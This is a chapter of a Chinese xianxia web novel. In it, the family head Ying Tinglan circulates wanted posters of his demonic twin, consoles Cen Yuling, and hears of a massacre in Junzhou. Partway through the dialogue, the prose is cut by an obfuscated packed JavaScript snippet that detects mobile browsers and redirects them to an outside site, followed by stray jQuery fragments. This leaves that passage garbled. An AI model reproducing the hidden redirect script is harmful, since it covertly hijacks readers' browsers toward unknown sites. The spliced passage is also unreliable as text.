15. 听澜

作品:《别在魔尊面前说谎

    “家主,已经将画有应逢怜肖像的卷轴传送给了各家族和各门派。”黑衣属下低着头,恭恭敬敬地汇报道。


    书房内烛火通明,鎏金香炉里冉冉飘出虚缈的香雾气,让这个充斥着书墨之气的空间里染上了丝丝沁人心鼻的檀香。


    此刻书房中静得只能听见毛笔落在宣纸上的轻微触动,再无他响。


    静候了半晌没有得到回应,黑衣属下悄悄地抬起了头,轻瞟了一眼,观察着面前家主的反应。


    他的口中的“家主”正站在书案后,头也不抬地提笔、沾墨、落字,动作行云流水,一气呵成。


    面前的人如瀑般的墨色青丝皆由一顶白玉冠高高束起,他身着雪青色的云缎锦衣,腰间仅由一条金镶玉腰带便束出高挑修长的身姿,一副世家矜贵公子的模样,但随身携带古朴长剑又让他有着区别于普通世家贵公子的仙风道骨。


    “廉天,怎么不说了?”他兀地开口,声音轻朗。


    “只是那画像十分还原……”名唤“廉天”的下属有些迟疑,声音不自觉地弱了些,“而那魔头的模样又和您……”


    话还没说完,廉天就谨慎地将后半截话吞进了肚子里,生怕多说多错。


    “和我什么?和我长得一模一样?”家主


    缓缓抬起头来,阴影如潮水般从他的脸上褪.去,此刻被烛火照亮的面容竟与应逢怜有八分相像。


    但不同于应逢怜常年一副冷冰冰的样子,他倒是眉眼柔和,嘴角总是噙着一抹若有若无的笑意,如同书卷中走出的翩翩公子,气质温润如玉,和应逢怜的冷冽阴鸷简直是天差地别。


    即便面前家主的言行举止、待人接物都堪称宽容和善,但身上自带的威仪并不比历代家主少半分,甚至更让廉天感到发怵。


    他的头埋得更低了,屏住了呼吸,一时间不敢回答。


    “他是我应听澜的孪生兄弟,自然与我容貌相似,现如今并非秘密,也无须避讳。”应听澜用指节轻敲了面前的案桌示意他起身,语气依旧平和。


    他背过手踱步至窗前,望着窗外的如水月色,继续吩咐道:“我也不讲究那些陈腐的礼仪规矩,若是顾虑冲犯了我而让肖像失真,延误抓捕,那就得不偿失了。”


    “你们只管让各宗门世家将通缉画像尽可能多地拓印,分发至各州府县、客栈酒肆、交通要道,务必让更多人见到。凡提供确凿线索、协助抓捕者一律重赏。”


    “是,家主圣明。属下这就去办。”廉天恭敬领命,悄然退下。


    书房的门轻轻合拢,将外界的一切声响隔绝。应听澜独自立于窗前,望着窗外的皎皎明月出神,不知在想些什么,银霜似的月光照亮了他深邃的眉眼,却没能照亮他眼底的暗流涌动。


    这时,书房内的山水屏风后,传来极轻微的脚步声,一道窈窕身影婷婷袅袅地转出。


    来人挽着样式特别的灵巧发髻,一身素雅的云锦流雪鲛纱裙,臂弯间挽着一副轻盈的藕粉烟绫披帛,披帛正随着她步履带起的风轻轻浮动,恍若九天仙子误入凡尘。


    她的面容也是极为姣好,眉如远山黛,眼含柔情水,波光流转间带着一抹化不去的哀婉,一点朱唇不点而绯,让人望之失神,再难移开目光。


    她缓步走到应听澜身边,与他并肩而立。


    仿佛连月光也格外偏爱这对玉做的人儿,将清辉温柔地洒在他们的周身,两道影子拉长在窗前交错到一起,如同一对天造地设的璧人。


    若是此刻颜悬昭在场,肯定忍不住大喊:“不愧是原书男女主,登对极了!”


    “毓灵。”应听澜轻唤她的名字,自然地伸出手用指尖替她抚平眉心的微蹙,“为何愁容不展?”


    岑毓灵轻叹一声,眼中忧虑更深:“听澜……我们真的要这样对逢怜吗?或许他只是修行出了岔子,一时走火入魔?若能寻回他,好生引导,未必不能重回正道。如今让天下人都知晓他入魔道,这世间,还如何能容得下他?”


    应听澜收回手,负于身后,脸上的笑意淡去,语气也变得严肃起来:“毓灵,私情不能越于公义之上。正因他是我的弟弟,我才更不能徇私枉法。若人人皆因血脉姻亲而包庇纵容,这世间的秩序与公道又将置于何地?”


    他语气沉静,却带着不容置疑的决断:“我身为应家家主,统领一方,更应以身作则,大义灭亲,否则难以服众。”


    并非所有人都支持应听澜接手应家,暗地里还有无数双眼睛都紧盯着他,就等待着这位新任家主行差踏错,一举将他拉下,置于万劫不复的境地。


    这种时候他更不能对应逢怜心慈手软。


    岑毓灵在理智上无比清楚权衡利弊的道理,但始终无法狠心去彻底抛弃应逢怜。


    “他从前只是性子有些冷傲,并非大奸大恶之徒。”岑毓灵低落道,“我总忍不住想,若是我……若是我们当初能对他多几分关切,少几分猜忌,他是否就不会一步步走向魔道……”


    她总是过于地善良,习惯性地将错因归咎于自己,陷入无限的自责中。


    应听澜用指腹轻轻摩挲着岑毓灵微凉的鬓发,见她实在难过,便她拥进了怀里,动作轻柔而克制。


    他温声安慰道:“毓灵,不要难过。你没有义务为任何人的人生担责,这是他自己选择的路。”


    他的声音依旧温柔,但说出的话却冷静乃至冷酷。


    “我们就当真正的应逢怜在选择入魔的那刻已然死去。现在剩下的不过是顶着同一副皮囊与我们不死不修的魔头。”


    “笃笃笃——”一阵急促却克制的敲门声响起打断了他们的相拥。


    应听澜松开了岑毓灵,声色恢复如常,扬声道:“进来。”


    廉天依言推门而入,去而复返,他先是向应听澜躬身行礼,又对一旁的岑毓灵拱手致意,神色间带着些急意,却并未立刻开口。


    应听澜微微颔首:“毓灵并非外人,但说无妨。”


    得到他的示意,廉天才开口汇报道:“家主,筠州城发生灭门惨案,疑似与……应逢怜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344549|183016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相关。”


    岑毓灵呼吸猛地一窒,倏然转头看向应听澜,眼眸中写满了震惊与不愿相信。


    应听澜面容倒是平静,眼底掠过一丝深思,语气沉稳:“详细说。”


    廉天继续说道:“先前辑尘司一路追捕重伤的应逢怜直至筠州城,但一进城就失去了魔头踪迹。巧的是,失去他的踪迹没几天,当地一霸的宋家娶亲,娶亲当晚全府的人百余口人全部离奇消失,府内还有魔气残留。初步判断是被魔灭门了。”


    他顿了顿,补充道,“但目前我们无法确认残留的魔气是否是应逢怜的。”


    应听澜思忖了片刻便思路清晰地下达指令:“应逢怜最后消失的地方在哪?重点排查那块地方,摸清哪些人出入过。另外,立刻整理出宋府所有人员的详细名册,包括昨日参加婚宴的宾客名单,一个不漏。”


    廉天领命,正欲转身离去。


    “等等,”应听澜叫住他,吩咐道,“备车,不,准备最快的云舟,我要亲自去一趟筠州城。”


    廉天应是,快步退下,抓紧部署。


    “听澜!”岑毓灵忍不住上前一步,眼眸中满是担忧,“此事交由辑尘司和当地仙门处理便是,何需你亲自前往?应家事务繁多,你的身体……”


    “无妨,此事定要我前去。”应听澜语气温和,态度却无可转圜,“只有我能辨别出他的魔气。”


    “他的功法特别,若不能尽快抓到他,只怕是后患无穷。”


    见他心意已决,岑毓灵轻咬下.唇,随即坚定道:“我和你一块去。若真遇到逢怜,你们先不要动手,让我单独去劝劝他,让他回头是岸,他从前最听我的话的。”


    “毓灵,他不会再听你的了。”应听澜淡淡道。


    他抬手,指尖轻柔地勾起她颊边散落的青丝,替她体贴地挽至耳后,语气却冷静地如同陈述着一个事实:“你帮我引他入局,令他重伤濒死……以他的性子,最是容忍不了欺骗,他不会再信你分毫。更可况,他睚眦必报,我不能让你以身犯险。”


    岑毓灵却仍旧抱有一丝希望,执着道:“逢怜没你们想得这么冷酷无情,他本性其实是好的。我会劝说他放弃修魔,回归正道,大家都会重新接纳他的。”


    应听澜却突兀嗤笑一声:“让他废掉修为再次成为废人,被我们圈禁起来,你觉得他会愿意吗?”


    岑毓灵一时语塞,沉默了片刻,她低声道:“至少……先将他劝回来,稳住局面。之后的事,或许可以从长计议……”


    “那意味着,你势必要对他许下诸多无法兑现的承诺。”应听澜嘴角依旧噙着那抹温和的弧度,眼神却无比冰冷,“没用的,别试图在他面前说谎。”


    岑毓灵诧异地抬眸,惊讶于他的笃定。


    她望着他平静无波的眼神,下意识地追问道:“为何如此肯定?”


    应听澜微微倾身,靠近她,在她耳边用只有两人能听见的轻柔声音,一字一句道:


    “因为他能嗅到谎言的味道。”